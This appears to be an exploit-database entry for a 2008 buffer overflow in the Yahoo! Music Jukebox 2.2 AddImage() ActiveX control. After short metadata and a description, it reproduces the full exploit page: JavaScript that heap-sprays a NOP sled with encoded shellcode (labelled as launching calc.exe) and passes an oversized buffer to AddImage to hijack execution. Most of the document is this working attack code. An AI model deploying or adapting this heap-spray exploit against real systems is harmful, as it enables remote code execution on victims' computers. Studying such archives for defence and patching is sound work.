Yahoo! Music Jukebox 2.2 AddImage() ActiveX BOF

vendor:

Yahoo! Music Jukebox

by:

Krystian Kloskowski

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Yahoo! Music Jukebox

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: YES

Related CWE: N/A

CPE: 2.2:Yahoo!_Music_Jukebox:Yahoo!_Music_Jukebox:2.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2008

Yahoo! Music Jukebox 2.2 AddImage() ActiveX BOF

This exploit is a buffer overflow vulnerability in the Yahoo! Music Jukebox 2.2 AddImage() ActiveX control. The exploit is written in JavaScript and uses unescape() to create a shellcode of 0x1000 bytes. The shellcode is then appended to a block of NOPs and stored in an array of memory. The array is then used to create a buffer which is passed to the AddImage() function, resulting in the execution of the shellcode.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

<!--
	Yahoo! Music Jukebox 2.2 AddImage() ActiveX BOF

	Discovered by Krystian Kloskowski - h07@interia.pl

	Written by exceed (code ripped from here and there...)

	Tested on Windows XP SP3 English / IE6 SP3 / datagrid.dll v2.2.2.56
-->

<html>
<object classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"
id="target"></OBJECT>

<SCRIPT language="JavaScript">
// HeapSpray - execute calculator (calc.exe)
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                     "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                     "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                     "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                     "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                     "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                     "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                     "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                     "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                     "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                     "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                     "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                     "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                     "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                     "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                     "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                     "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                     "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                     "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                     "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                     "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                     "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                     "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                     "%u314e%u7475%u7038%u7765%u4370");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();
for (i=0;i<400;i++) memory[i] = block + shellcode;

var buffer =  unescape("%u0A0A%u0A0A");
while (buffer.length< 340) buffer+=unescape("%u0A0A%u0A0A");
target.AddImage("http://"+buffer,1);

</script>
</html>

# milw0rm.com [2008-02-03]